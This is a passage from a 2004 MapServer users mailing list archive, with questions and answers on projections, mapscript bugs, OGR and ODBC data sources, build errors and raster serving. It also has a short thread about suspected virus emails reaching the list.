Burk) Date: Thu, 13 May 2004 10:29:02 -0500 (CDT) Subject: [Mapserver-users] OT--Is anybody else getting these messages? Message-ID: <200405131529.i4DFT2TY019286@mallit.fr.umn.edu> Be assured both issues are being addressed. Not as quickly as we'd like, but addressed none-the-less. Please, let's not discuss this on the list. That doesn't solve anything. Thanks for your help and understanding. Tom >From: "Kieran J. Ames" >X-Accept-Language: en >MIME-Version: 1.0 >To: P Wilkerson <1wilkerson at charter.net> >CC: mapserver-users at lists.gis.umn.edu >Subject: Re: [Mapserver-users] OT--Is anybody else getting these messages? >Content-Transfer-Encoding: 7bit >X-BeenThere: mapserver-users at lists.gis.umn.edu >X-Mailman-Version: 2.0.13 >List-Unsubscribe: , >List-Id: Mapserver Users Mailing List (Appropriate for general users) >List-Post: >List-Help: >List-Subscribe: , >List-Archive: >Date: Thu, 13 May 2004 08:51:42 -0400 > >Yes... I've been getting many. Our anti-virus software is catching them with the >following output: > >Subject: [Mapserver-users] Protected message > Date: Thu, 13 May 2004 07:12:55 -0600 > From: "Steve.lime" > To: "Mapserver-users" > >------------------------------------------------------------------------------- ---------- > >Potential Virus Alert! The file(s) attached to >this email has been quarantined. If you need the attachment, please contact the >Enterprise Service Desk > >Kieran > >P Wilkerson wrote: > >> I've noticed that I've received a number of e-mails from >> steve.lime at dnr.state.mn.us with suspicious looking attachments with no >> information about Mapserver. Are these valid e-mails or the result of some >> virus or worm? >> >> Also, this re-introduces a suggestion I read by another member of this list. >> Would the administrators consider hiding people's e-mails when messages are >> posted? I've noticed more "extraneous" e-mails since joining this list. >> Nothing conclusive to point to this list, just seems more than a >> coincidence. >> >> Peter Wilkerson >> >> ----- Original Message ----- >> From: "Agneta Schick" >> To: >> Sent: Thursday, May 13, 2004 7:59 AM >> Subject: [Mapserver-users] proj4 and mapserver >> >> > Dear reader, >> > >> > I'm trying to display a layer of symbols which are lat/long coordinates >> (from >> > shape files) on a map in winkel tripel projection (generated by GMT). >> > My problem is when I DO NOT specify "projection latlong" in the map file >> for >> > the layer with symbols, the symbols are displayed but, of course, in the >> > wrong place and when I specify "projection latlong" the symbols are not >> > displayed at all. I assume that my specifications for the winkel tripel >> > projection are not correct/complete. >> > >> > Using "proj -l=wintri" I get >> > wintri : Winkel Tripel >> > Misc Sph >> > lat_1 >> > >> > Does this mean that "lat_1" is the only information I need supply for the >> > projection definition aside from "proj=wintri"? >> > >> > I've defined the map extents as -140 -90 220 90 with units dd. Can I use >> > degrees when using proj4 although the output from proj is meters? >> > >> > I'm using MapServer version 4.0.1, gdal-1.1.9, libpng-1.2.5, proj-4.4.7, >> > Shape-0.04, shapelib-1.2.10 on Solaris9. >> > >> > Thank you, >> > Agneta Schick >> > >> > >> > >> > ============================================================ >> > MAP >> > NAME "ERMOS" >> > STATUS ON >> > EXTENT -140. -90. 220. 90. >> > UNITS DD >> > SIZE 947 612 >> > SHAPEPATH "/space/b3sn13/webdb/htdocs/ermos/data" >> > IMAGECOLOR 255 0 0 >> > IMAGETYPE png >> > >> > >> > SYMBOL >> > NAME 'circle' >> > TYPE ELLIPSE >> > POINTS >> > 1 1 >> > END >> > FILLED TRUE >> > END >> > PROJECTION >> > "proj=wintri" >> > "lat_1=0" >> > "lon_0=40e" >> > END >> > >> > LAYER >> > NAME 'world' >> > DATA /space/b3sn13/webdb/htdocs/ermos/data/wintri.tif >> > TYPE RASTER >> > STATUS DEFAULT >> > END >> > >> > LAYER >> > NAME 'quakes' >> > DATA 'usgs' >> > TYPE POINT >> > STATUS ON >> > PROJECTION >> > "proj=latlong" >> > "datum=WGS84" >> > END >> > CLASS >> > SYMBOL 'circle' >> > SIZE 5 >> > OUTLINECOLOR 0 0 0 >> > COLOR 255 0 0 >> > END >> > END >> > >> > END >> > >> > _______________________________________________ >> > Mapserver-users mailing list >> > Mapserver-users at lists.gis.umn.edu >> > http://lists.gis.umn.edu/mailman/listinfo/mapserver-users >> >> _______________________________________________ >> Mapserver-users mailing list >> Mapserver-users at lists.gis.umn.edu >> http://lists.gis.umn.edu/mailman/listinfo/mapserver-users > >_______________________________________________ >Mapserver-users mailing list >Mapserver-users at lists.gis.umn.edu >http://lists.gis.umn.edu/mailman/listinfo/mapserver-users > From sgillies at frii.com Thu May 13 08:53:30 2004 From: sgillies at frii.com (Sean Gillies) Date: Thu, 13 May 2004 09:53:30 -0600 Subject: [Mapserver-users] postgis and java mapscript In-Reply-To: <40A39316.4080505@sun.com> References: <40A39316.4080505@sun.com> Message-ID: On May 13, 2004, at 9:24 AM, Tomas Brandalik wrote: > I am running mapserver4.0.2 compiled with postgis0.8.1 extension. It > works fine through cgi but not from java/mapscript. > java/mapscript library generates expected png file if datasources were > shapefiles but no output or even error shows up when datasources were > postgis. > I can't find any log or whatever would help me find the problem. > Have anybody seen this before? > > -Tomas > Tomas, mapscript uses the same code as mapserver, so this is unexpected. Are you using the same map config file in each case? Are you using mapscript to modify any of the postgis layer's attributes? Setting filters or classitems? Sean -- Sean Gillies sgillies at frii dot com http://users.frii.com/sgillies From Tomas.Brandalik at Sun.COM Thu May 13 08:58:35 2004 From: Tomas.Brandalik at Sun.COM (Tomas Brandalik) Date: Thu, 13 May 2004 17:58:35 +0200 Subject: [Mapserver-users] postgis and java mapscript In-Reply-To: References: <40A39316.4080505@sun.com> Message-ID: <40A39B2B.6000804@sun.com> No, I use same map file and generate only simple png without any manipulation. But maybe problem is in compilation libmapscript.so with postgis enabled. I am not sure if I did it properly. will investigate further -Tomas Sean Gillies wrote: > On May 13, 2004, at 9:24 AM, Tomas Brandalik wrote: > >> I am running mapserver4.0.2 compiled with postgis0.8.1 extension. It >> works fine through cgi but not from java/mapscript. >> java/mapscript library generates expected png file if datasources >> were shapefiles but no output or even error shows up when datasources >> were postgis. >> I can't find any log or whatever would help me find the problem. >> Have anybody seen this before? >> >> -Tomas >> > > Tomas, mapscript uses the same code as mapserver, so this is unexpected. > Are you using the same map config file in each case? Are you using > mapscript to modify any of the postgis layer's attributes? Setting > filters or classitems? > > Sean > > > > > -- > Sean Gillies > sgillies at frii dot com > http://users.frii.com/sgillies > From sgillies at frii.com Thu May 13 10:19:58 2004 From: sgillies at frii.com (Sean Gillies) Date: Thu, 13 May 2004 11:19:58 -0600 Subject: [Mapserver-users] Bug 663 (Re: Clarifications about mapscript 4.2) In-Reply-To: <1084453766.1864.18.camel@ubet.gomoos.org> References: <1084393684.1822.421.camel@ubet.gomoos.org> <42AAFD61-A459-11D8-AF02-000D9329D732@frii.com> <1084453766.1864.18.camel@ubet.gomoos.org> Message-ID: On May 13, 2004, at 7:09 AM, Eric Bridger wrote: > On Wed, 2004-05-12 at 17:13, Sean Gillies wrote: >> Hey Eric, >> >> I'm unable to reproduce your problems with my Python interpreter. >> Here >> is a session below. Note that I'm using the next generation class >> names ... 'Map' is exactly the same as 'mapObj', 'Color' == >> 'colorObj', >> &c. >> >> Python 2.3.3 (#1, Jan 4 2004, 11:27:28) >> [GCC 3.2.2 20030222 (Red Hat Linux 3.2.2-5)] on linux2 >> Type "help", "copyright", "credits" or "license" for more >> information. >>>>> import mapscript >>>>> test_map = >> mapscript.Map('/home/sean/projects/ms_42/mapserver/tests/test.map') >>>>> class00 = test_map.getLayer(0).getClass(0) >>>>> s0 = class00.getStyle(0) >>>>> s0 >> >>>>> s0.color.toHex() >> '#ff9966' >>>>> s0.color.setRGB(0,0,0) >> 0 >>>>> s0.color.toHex() >> '#000000' >>>>> s0.color.setRGB(51,51,51) >> 0 >>>>> s0.color.toHex() >> '#333333' >>>>> s0.color.setRGB(102,102,102) >> 0 >>>>> s0.color.toHex() >> '#666666' >> >> I can't reproduce the sticking. Next a test with defined colors. >> >>>>> blue = mapscript.Color(0,0,255) >>>>> blue.toHex() >> '#0000ff' >>>>> s0.color = blue >>>>> s0.color.toHex() >> '#0000ff' >>>>> red = mapscript.Color(255,0,0) >>>>> s0.color = red >>>>> s0.color.toHex() >> '#ff0000' >>>>> s0.color = blue >>>>> s0.color.toHex() >> '#0000ff' >> >> So it appears that this is working OK as well. >> >> Now, looking at your script, there is a line >> >> $point->draw($map, $layerObj, $img, undef, "$point_id"); >> > Sean, > > Perl mapscript4.2b2 works in the above cases as well. The problem > seems > to lie deeper, in the point->draw() method, i.e. even when > style->toHex() reports #0000ff, point->draw() draws a black or whatever > color was first set. I will continue to investigate. > > Eric > Eric, add your email to the tracker if you want to follow this http://mapserver.gis.umn.edu/bugs/show_bug.cgi?id=663 I've figured it out. Has to do with the MapServer "pens", when setting style colors we are not resetting the value of pens, hence the set color appears to stick. The following works: def testDrawPoints(self): points = [mapscript.pointObj(-0.2, 51.5), mapscript.pointObj(0.0, 51.0), mapscript.pointObj(0.2, 51.5)] colors = [mapscript.colorObj(255,0,0), mapscript.colorObj(0,255,0), mapscript.colorObj(0,0,255)] img = self.mapobj1.prepareImage() layer = self.mapobj1.getLayerByName('POINT') class0 = layer.getClass(0) for i in range(len(points)): style0 = class0.getStyle(0) style0.color = colors[i] style0.color.pen = -4 assert style0.color.toHex() == colors[i].toHex() points[i].draw(self.mapobj1, layer, img, 0, "foo") img.save('test_draw_points.png') and results in red, green, and blue points. I'm going to find a solution that's better than explicitly setting the pen attribute of a color. cheers, Sean -- Sean Gillies sgillies at frii dot com http://users.frii.com/sgillies From mapserver at digger.net Thu May 13 11:44:12 2004 From: mapserver at digger.net (mapserver at digger.net) Date: Thu, 13 May 2004 13:44:12 -0500 (CDT) Subject: [Mapserver-users] OT--Is anybody else getting these messages? Message-ID: <200405131844.i4DIiCFS009161@lists.gis.umn.edu> On Thursday, 13 May 2004, "P Wilkerson" wrote: > Also, this re-introduces a suggestion I read by another member of this > list. Would the administrators consider hiding people's e-mails when > messages are posted? I've noticed more "extraneous" e-mails since > joining this list. Nothing conclusive to point to this list, just seems > more than a coincidence. Here's something more concrete for you: I created an email address exclusively for use on this list. My mail spool currently contains 8 mapserver-users digests and 48 spams sent to my mapserver address. Dave From eric at gomoos.org Thu May 13 12:56:31 2004 From: eric at gomoos.org (Eric Bridger) Date: 13 May 2004 15:56:31 -0400 Subject: [Mapserver-users] Bug 663 (Re: Clarifications about mapscript 4.2) In-Reply-To: References: <1084393684.1822.421.camel@ubet.gomoos.org> <42AAFD61-A459-11D8-AF02-000D9329D732@frii.com> <1084453766.1864.18.camel@ubet.gomoos.org> Message-ID: <1084478197.1866.114.camel@ubet.gomoos.org> On Thu, 2004-05-13 at 13:19, Sean Gillies wrote: > > Eric, add your email to the tracker if you want to follow this > > http://mapserver.gis.umn.edu/bugs/show_bug.cgi?id=663 > > I've figured it out. Has to do with the MapServer "pens", when setting > style colors we are not resetting the value of pens, hence the set color > appears to stick. The following works: > > def testDrawPoints(self): > points = [mapscript.pointObj(-0.2, 51.5), > mapscript.pointObj(0.0, 51.0), > mapscript.pointObj(0.2, 51.5)] > colors = [mapscript.colorObj(255,0,0), > mapscript.colorObj(0,255,0), > mapscript.colorObj(0,0,255)] > img = self.mapobj1.prepareImage() > layer = self.mapobj1.getLayerByName('POINT') > class0 = layer.getClass(0) > for i in range(len(points)): > style0 = class0.getStyle(0) > style0.color = colors[i] > style0.color.pen = -4 > assert style0.color.toHex() == colors[i].toHex() > points[i].draw(self.mapobj1, layer, img, 0, "foo") > img.save('test_draw_points.png') > > and results in red, green, and blue points. I'm going to find a > solution > that's better than explicitly setting the pen attribute of a color. > > cheers, > Sean Thanks Sean! Not only figures out the bug but provides a work-around! The beauty of open source. I guess setRGB() is an obvious place to set color.pen = MS_PEN_UNSET. I guess the color constructor could also, if RGB parameters are present. From TMitchell at lignum.com Thu May 13 15:47:54 2004 From: TMitchell at lignum.com (Tyler Mitchell) Date: Thu, 13 May 2004 15:47:54 -0700 Subject: [Mapserver-users] 5 second survey: data formats In-Reply-To: <40A26AB2.2080106@swoodbridge.com> Message-ID: > >>This is a somewhat self selecting poll. The poll results should be > >>exactly those file formats that mapserver BEST supports because that is > >>what people will use to get the job done. > >>A better poll would be to ask something like. If all vector formats had > >>the same level of support and performance in mapserver, what are the top > >>two that you would use. An ditto for raster. On this point, I think it's worthy to note that of those who took the "MapServer Gaps" survey only 1% of respondents noted "Data format limitations" as a key barrier to successful implementation. Certainly doesn't mean there aren't needs or broader desires of course, but interesting to note. http://www.misterpoll.com/results.mpl?id=2475050276 From pdymecki at sympatico.ca Thu May 13 20:03:48 2004 From: pdymecki at sympatico.ca (Paul Dymecki) Date: Thu, 13 May 2004 23:03:48 -0400 Subject: [Mapserver-users] open failed ogr connection References: <40A367C3.2090205@fh-nb.de> <40A36DCD.8090902@pobox.com> Message-ID: <00a001c43960$13d31220$7b45fea9@paul> Hi, I'm just trying to get OGR with ODBC working on the win32 binaries. I tried the shp2img on my map file though and get the following error message.. >C:\msapps>shp2img -m c:\apache2\htdocs\ms4w\apps\cbm\map\cbm.map >msProcessProjection(): Projection library error. invalid projection system error >number
Would i have to recompile mapserver with OGR?? thx, Paul ----- Original Message ----- From: "Frank Warmerdam" To: "Andreas Koeberle" Cc: "UMN MapServer" Sent: Thursday, May 13, 2004 8:45 AM Subject: Re: [Mapserver-users] open failed ogr connection > Andreas Koeberle wrote: > > Hi > > I try do use a access database as a source for a point layer. I check > > the ovf file with the ogrinfo like describe in the wiki and the file > > seems to work. But when I try do use with the mapserver the following > > message appear: > > > > msOGRFileOpen(): OGR error. Open failed for OGR connection > > `virtuallayer.ovf'. File not found or unsupported format > > Andreas, > > The most obvious and likely problems are: > 1) out of date mapserver build with old OGR ODBC code. > 2) you are using a user DSN instead of a system DSN. > 3) the "web user" does not have permission on the database in question. > 4) wrong path to virtuallayer.ovf > > To rule out the first item, try running "shp2img" on your map as yourself > and see if that works. > > eg. > shp2img -m your.map -o out.png > > If that works fine then it is a difference in what is accessable in the > web context compared to running logged in as yourself. > > Good luck, > -- > ---------------------------------------+---------------------------------- ---- > I set the clouds in motion - turn up | Frank Warmerdam, warmerdam at pobox.com > light and sound - activate the windows | http://pobox.com/~warmerdam > and watch the world go round - Rush | Geospatial Programmer for Rent > > _______________________________________________ > Mapserver-users mailing list > Mapserver-users at lists.gis.umn.edu > http://lists.gis.umn.edu/mailman/listinfo/mapserver-users > From dmanian at ivesia.com Thu May 13 21:55:34 2004 From: dmanian at ivesia.com (Dharani Babu S) Date: Fri, 14 May 2004 10:25:34 +0530 Subject: [Mapserver-users] vc 6.0 and eVC++ 4.0 Message-ID: <004d01c4396f$b16006b0$8702a8c0@hdsc.com> This is a multi-part message in MIME format. ------=_NextPart_000_004A_01C4399D.CA656D70 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable Hi all=20 I am wondering wherher We can compile map server code into embedded vc++ = 4.0 . have any one tried it already ? I also found that the makefiles = for zlib is compiling for nmake of embedded vc++ 4.0 . So as such is the = map server exe portable to win ce platform ? any advises are welcome . I = am nto able to get any break in this regard . thanks in advance dharani babu s ------=_NextPart_000_004A_01C4399D.CA656D70 Content-Type: text/html; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable

Hi all
I am wondering wherher We can compile = map server=20 code into embedded vc++ 4.0 . have any one tried it already ? I also = found that=20 the makefiles for zlib is compiling for nmake of embedded vc++ 4.0 . So = as such=20 is the map server exe portable to win ce platform ? any advises are = welcome . I=20 am nto able to get any break in this regard .
thanks in advance
 
dharani babu = s
------=_NextPart_000_004A_01C4399D.CA656D70-- From m.meier at spiekermann.de Thu May 13 22:52:09 2004 From: m.meier at spiekermann.de (Manfred Meier) Date: Fri, 14 May 2004 07:52:09 +0200 Subject: [Mapserver-users] 1-bit tiff with min-is-white In-Reply-To: <40A357F5.8080505@spiekermann.de> References: <40A357F5.8080505@spiekermann.de> Message-ID: <40A45E89.7050708@spiekermann.de> I think I found a solution: I'm now using gdal support and now CLASS and EXPRESSION work. Manfred From v.winkler at geotec.de Thu May 13 22:54:31 2004 From: v.winkler at geotec.de (Winkler, Viola) Date: Fri, 14 May 2004 07:54:31 +0200 Subject: [Mapserver-users] shp2mysql Message-ID: <5B70A170ED0ACE4B8A095B92A74B43480FDC7F@server2.geotec.local> Hello, to use data sources from mysql database with umn mapserver I have to convert my shapfiles to this database format. I found an description for using shp2mysql.pl to do this. For this I had download shapelib-winbin-1.2.9 but I douldn't find this tool there. Have someone an idea how I can convert my shapfiles in the mysql database format. Viola From m.meier at spiekermann.de Thu May 13 23:27:49 2004 From: m.meier at spiekermann.de (Manfred Meier) Date: Fri, 14 May 2004 08:27:49 +0200 Subject: [Mapserver-users] shp2mysql In-Reply-To: <5B70A170ED0ACE4B8A095B92A74B43480FDC7F@server2.geotec.local> References: <5B70A170ED0ACE4B8A095B92A74B43480FDC7F@server2.geotec.local> Message-ID: <40A466E5.7000006@spiekermann.de> perhaps this is what you are looking for: http://shapelib.maptools.org/dl/shapelib129_bin_win.zip Manfred Winkler, Viola schrieb: > Hello, > > to use data sources from mysql database with umn mapserver I have to > convert my shapfiles to this database format. I found an description for > using shp2mysql.pl to do this. For this I had download > shapelib-winbin-1.2.9 but I douldn't find this tool there. Have someone > an idea how I can convert my shapfiles in the mysql database format. > > Viola > > _______________________________________________ > Mapserver-users mailing list > Mapserver-users at lists.gis.umn.edu > http://lists.gis.umn.edu/mailman/listinfo/mapserver-users > From Antti.Roppola at brs.gov.au Thu May 13 23:49:24 2004 From: Antti.Roppola at brs.gov.au (Antti.Roppola at brs.gov.au) Date: Fri, 14 May 2004 16:49:24 +1000 Subject: [Mapserver-users] Controlling PDF file size? Message-ID: <3E4215C93D3CE24D84A9FF385DF88D8702A08695@afeb-ms-02> Hi all, I am generating PDF maps and am not having much luck in controlling the output data density. I have tried manipulating the "SIZE" parameter in the map file and the "imgsize" argument when calling mapserver, while the page dimensions change, the output file sizes do not differ appreciably. Examination of produced files shows that altering SIZE and IMGSIZE have no apparent effect on the number of vertices contained in the PDF map. (having 1,000's of vertices in a page inch of line is just silly) Is it possible to control the point density of arcs when generating PDF? I'd kind of assumed that SIZE would have a similar effect on vertex discards as it does in the raster renderer. Thanks, Antti From Tomas.Brandalik at Sun.COM Fri May 14 00:00:50 2004 From: Tomas.Brandalik at Sun.COM (Tomas Brandalik) Date: Fri, 14 May 2004 09:00:50 +0200 Subject: [Mapserver-users] postgis and java mapscript In-Reply-To: <1084474072.40a3c2d853318@webmail.dsl.net> References: <40A39316.4080505@sun.com> <40A39B2B.6000804@sun.com> <1084474072.40a3c2d853318@webmail.dsl.net> Message-ID: <40A46EA2.2040306@sun.com> sorry, I don't have any dlls I work on suse9.0 -Tomas Will Richardson wrote: >Tomas, > >Can you send me the dll you are using and the java classes that utilize >mapserver? I had problems compiling it and actually found one that works with >mapserver 3.6.3 but would like to use mapserver 4. Also, does the dll you are >using include true type support? > >thanks, >will > >Quoting Tomas Brandalik : > > > >>No, I use same map file and generate only simple png without any >>manipulation. But maybe problem is in compilation libmapscript.so with >>postgis enabled. I am not sure if I did it properly. will investigate >>further >>-Tomas >> >>Sean Gillies wrote: >> >> >> >>>On May 13, 2004, at 9:24 AM, Tomas Brandalik wrote: >>> >>> >>> >>>>I am running mapserver4.0.2 compiled with postgis0.8.1 extension. It >>>>works fine through cgi but not from java/mapscript. >>>>java/mapscript library generates expected png file if datasources >>>>were shapefiles but no output or even error shows up when datasources >>>>were postgis. >>>>I can't find any log or whatever would help me find the problem. >>>>Have anybody seen this before? >>>> >>>>-Tomas >>>> >>>> >>>> >>>Tomas, mapscript uses the same code as mapserver, so this is unexpected. >>>Are you using the same map config file in each case? Are you using >>>mapscript to modify any of the postgis layer's attributes? Setting >>>filters or classitems? >>> >>>Sean >>> >>> >>> >>> >>>-- >>>Sean Gillies >>>sgillies at frii dot com >>>http://users.frii.com/sgillies >>> >>> >>> >>_______________________________________________ >>Mapserver-users mailing list >>Mapserver-users at lists.gis.umn.edu >>http://lists.gis.umn.edu/mailman/listinfo/mapserver-users >> >> >> > > > > > From Tomas.Brandalik at Sun.COM Fri May 14 00:14:13 2004 From: Tomas.Brandalik at Sun.COM (Tomas Brandalik) Date: Fri, 14 May 2004 09:14:13 +0200 Subject: [Mapserver-users] postgis and java mapscript In-Reply-To: <40A39B2B.6000804@sun.com> References: <40A39316.4080505@sun.com> <40A39B2B.6000804@sun.com> Message-ID: <40A471C5.3050503@sun.com> ok, that was wrong compilation without postgis support. Now it works fine with these settings: CCFLAGS=-DIGNORE_MISSING_DATA -DUSE_EPPL -DUSE_TIFF -DUSE_JPEG -DUSE_GD_PNG -DUSE_GD_JPEG -DUSE_GD_WBMP -DUSE_GD_FT -DUSE_GDAL LDFLAGS=-L/usr/local/lib/swig1.3 -L../.. -L. -lmap -lgd -L/usr/local/lib -lgd -ljpeg -lfreetype -lpng -lz -ltiff -ljpeg -lgdal -L/usr/local/pgsql/lib -lpq -lm -lstdc++ -Tomas Tomas Brandalik wrote: > No, I use same map file and generate only simple png without any > manipulation. But maybe problem is in compilation libmapscript.so > with postgis enabled. I am not sure if I did it properly. will > investigate further > -Tomas > > Sean Gillies wrote: > >> On May 13, 2004, at 9:24 AM, Tomas Brandalik wrote: >> >>> I am running mapserver4.0.2 compiled with postgis0.8.1 extension. It >>> works fine through cgi but not from java/mapscript. >>> java/mapscript library generates expected png file if datasources >>> were shapefiles but no output or even error shows up when >>> datasources were postgis. >>> I can't find any log or whatever would help me find the problem. >>> Have anybody seen this before? >>> >>> -Tomas >>> >> >> Tomas, mapscript uses the same code as mapserver, so this is unexpected. >> Are you using the same map config file in each case? Are you using >> mapscript to modify any of the postgis layer's attributes? Setting >> filters or classitems? >> >> Sean >> >> >> >> >> -- >> Sean Gillies >> sgillies at frii dot com >> http://users.frii.com/sgillies >> > > _______________________________________________ > Mapserver-users mailing list > Mapserver-users at lists.gis.umn.edu > http://lists.gis.umn.edu/mailman/listinfo/mapserver-users From juergen.zornig at noel.gv.at Fri May 14 00:19:12 2004 From: juergen.zornig at noel.gv.at (=?iso-8859-1?Q?Zornig_J=FCrgen?=) Date: Fri, 14 May 2004 09:19:12 +0200 Subject: [Mapserver-users] Mapserver Newbie Quests Message-ID: <2A3246007B0AC345A11FAF121B1BAC48040ACC@NTPLHX10.ad.noel.gv.at> Hello, all I have set up Mapserver Win Binaries (4.2 beta2) on a Windows 2000 Server Machine, because of the ECW Support of GDAL. The Server only should Serve a bunch of ECW Color Images per OGC Service at a good performance. So I created a tile index over the Fotos (~10000 Mosaics in endconfig) as shapefile. This works fine but there are also a lot of problems, I can not solve with my mapserver skills. Problem 1: Can I use a tile index, served by a PostGIS Database? Is that faster (more perormance)? Problem 2: When I zoom out too much, mapserver needs exponentially more time to process the input ecw?s to a output jpeg. How can I tune that best? (Pyramids? How?) Problem 3: On the Server, there are running lots of instances of mapserv.exe, which I can?t kill, because "Acces denied!" (I?m root on that machine). COuld there be some misconfiguration? Problem 4: I?m testing this configuration (mapserver + ecw Imagery + tile index), to find a method to serve very large raster data for our ArcIMS Services, ArcGIS Applications and AutoCAD Clients. Do you think, there might be a better solution? For my part, mapserver could do this good (if I could admin it perfectly), but maybe there is a much better solution. Sorry for my english, It?s hard to relearn it, when you have to do so much else. ;) Mit freundlichen Gruessen / Best regards J?rgen Zornig Amt der N? Landesregierung BD5 - N? GeoInformationsSystem "N?GIS" Landhausplatz 1, Haus 13, Zi. 13.521 A-3109 St. Poelten/Austria ---------------------------------------- Tel: +43 (0)2742 / 9005 - 14764 Fax: +43 (0)2742 / 9005 - 13888 ---------------------------------------- http://www.noe.gv.at/noegis mailto:juergen.zornig at noel.gv.at From taufan at ebdesksolutions.com Fri May 14 00:40:52 2004 From: taufan at ebdesksolutions.com (taufan at ebdesksolutions.com) Date: Fri, 14 May 2004 14:40:52 +0700 Subject: [Mapserver-users] shapfiles 2 MS-SQL Server Message-ID: <1084520452.40a4780446bf1@mail.ebdesksolutions.com> Dear All. I would like use data source from MS-SQL Server (database) with mapserver, How I can connect my shapfiles in the MS-SQL database format? Taufan . From koeberle at fh-nb.de Fri May 14 02:45:57 2004 From: koeberle at fh-nb.de (Andreas Koeberle) Date: Fri, 14 May 2004 11:45:57 +0200 Subject: [Mapserver-users] open failed ogr connection In-Reply-To: <40A36DCD.8090902@pobox.com> References: <40A367C3.2090205@fh-nb.de> <40A36DCD.8090902@pobox.com> Message-ID: <40A49555.4030003@fh-nb.de> Hi Frank, I try it with a newer version that I found in the listarchive (http://www.maptools.org/dl/mapserver-4.1-dev-win32-php4.3.4.zip). These version seems to work with the gdal12.dll (2 April 2004). But I got the same error with mapserver and shp2img. I use a system DNS to my ODBC source. Frank Warmerdam schrieb: > Andreas Koeberle wrote: > >> Hi >> I try do use a access database as a source for a point layer. I check >> the ovf file with the ogrinfo like describe in the wiki and the file >> seems to work. But when I try do use with the mapserver the following >> message appear: >> >> msOGRFileOpen(): OGR error. Open failed for OGR connection >> `virtuallayer.ovf'. File not found or unsupported format > > > Andreas, > > The most obvious and likely problems are: > 1) out of date mapserver build with old OGR ODBC code. > 2) you are using a user DSN instead of a system DSN. > 3) the "web user" does not have permission on the database in question. > 4) wrong path to virtuallayer.ovf > > To rule out the first item, try running "shp2img" on your map as yourself > and see if that works. > > eg. > shp2img -m your.map -o out.png > > If that works fine then it is a difference in what is accessable in the > web context compared to running logged in as yourself. > > Good luck, -- Andreas K?berle From dmanian at ivesia.com Fri May 14 03:52:56 2004 From: dmanian at ivesia.com (Dharani Babu S) Date: Fri, 14 May 2004 16:22:56 +0530 Subject: [Mapserver-users] lppng compile error Message-ID: <017801c439a1$a0b6a9e0$8702a8c0@hdsc.com> This is a multi-part message in MIME format. ------=_NextPart_000_0175_01C439CF.B748EDC0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable Hi all=20 I have compiled zlib with makefile. But facing problem with compiling = lppng125 . Its asking for zconf.h missing file ... I found that zconf.h = is actually part of zlib workspace . Why should both be interrelated and = if so why the header is missing from the lppng125 package ?? Could any = one point to me the solution ...? I am listing the error code below ... D:\MAPServDL\lpng125\lpng125>nmake /f Makefile.vcawin32 Microsoft (R) Program Maintenance Utility Version 6.00.8168.0 Copyright (C) Microsoft Corp 1988-1998. All rights reserved. cl -c -DPNG_USE_PNGVCRD -Ox -GA3s -nologo -W3 -I..\zlib png.c png.c zlib.h(34) : fatal error C1083: Cannot open include file: 'zconf.h': No = such fil e or directory NMAKE : fatal error U1077: 'cl' : return code '0x2' Stop. regards dharani babu s ------=_NextPart_000_0175_01C439CF.B748EDC0 Content-Type: text/html; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable
Hi all
I have compiled zlib with makefile. But = facing=20 problem with compiling lppng125 . Its asking for zconf.h missing file = ... I=20 found that zconf.h is actually part of zlib workspace . Why should both = be=20 interrelated and if so why the header is missing from the lppng125 = package ??=20 Could any one point to me the solution ...? I am listing the error code = below=20 ...
 
D:\MAPServDL\lpng125\lpng125>nmake = /f=20 Makefile.vcawin32
 
Microsoft (R) Program Maintenance=20 Utility   Version 6.00.8168.0
Copyright (C) Microsoft Corp=20 1988-1998. All rights reserved.
 
        cl -c=20 -DPNG_USE_PNGVCRD -Ox -GA3s -nologo -W3 -I..\zlib = png.c
png.c
zlib.h(34) :=20 fatal error C1083: Cannot open include file: 'zconf.h': No such fil
e = or=20 directory
NMAKE : fatal error U1077: 'cl' : return code=20 '0x2'
Stop.
 
 regards dharani babu=20 s
------=_NextPart_000_0175_01C439CF.B748EDC0-- From imd_listuser at comcast.net Fri May 14 04:30:34 2004 From: imd_listuser at comcast.net (IMD Listuser) Date: Fri, 14 May 2004 07:30:34 -0400 Subject: [Mapserver-users] Generating dynamic point layer Message-ID: <90264B8395BF154DB2CB12B068DFFAE903B0FE@westward.im-design.net> Im doing something like this. Basically I am running in a win32 environment and using mapserver base CGI setup to generate maps. The setup is: -Web service that accepts new positions from remote clients -New positions posted to database (SQL Server) -Service process that periodically connects to the database, selects positions, updates shapefiles. It's a bit kludgy and I am looking at possibly implementing Post GIS or MySQL, but for the moment it works.... Cheers Charlie Charlie Van Dusen charlie at im-design.net -----Original Message----- From: mapserver-users-admin at lists.gis.umn.edu [mailto:mapserver-users-admin at lists.gis.umn.edu] On Behalf Of David Fawcett Sent: Wednesday, May 12, 2004 10:14 AM To: samuzzal at linux.net; fx.prunayre at oieau.fr Cc: mapserver-users at lists.gis.umn.edu Subject: Re: [Mapserver-users] Generating dynamic point layer Has anyone successfully created point layers from Access .mdb files? David J. Fawcett MN Office of Environmental Assistance >>> Fran?ois-Xavier Prunayre 5/12/2004 4:47:23 AM >>> >>> > I have an access table with the georeferencing positions (X, Y). > Could anybody please help me by sending some code to generate a point > layer dynamically from these information. Thanks for previous helps I > got from the group. You could do that using OGR virtual layer; Wiki page is http://mapserver.gis.umn.edu/cgi-bin/wiki.pl?VirtualSpatialData. Set DSN in odbc connection; for exemple French, then Ovf file look like this : ODBC:French,STATIONS STATIONS wkbPoint where X_LAMBERT_II_ET is X coordinates and Y_LAMBERT_II_ET is Y. Map file layer tag is : LAYER NAME OVF TYPE POINT CONNECTIONTYPE OGR CONNECTION "french.ovf" DATA "STATIONS" # the name of the OGRVrtLayer STATUS DEFAULT PROJECTION "init=epsg:27582" END DUMP TRUE CLASS TEMPLATE "ttt_query.html" SYMBOL "circle" SIZE 6 NAME "STATION_FR" OUTLINECOLOR 239 16 16 END END You could also use Mapscript. HTH Francois ----- Original Message ----- From: "Sam Choudry" To: Sent: Wednesday, May 12, 2004 9:27 AM Subject: [Mapserver-users] Generating dynamic point layer > Hello group, > > > Samuzzal > > > > _____________________________________________________________ > Linux.Net -->Open Source to everyone > Powered by Linare Corporation > http://www.linare.com/ > _______________________________________________ > Mapserver-users mailing list > Mapserver-users at lists.gis.umn.edu > http://lists.gis.umn.edu/mailman/listinfo/mapserver-users > > -- > Ce message a ete verifie par MailScanner pour des 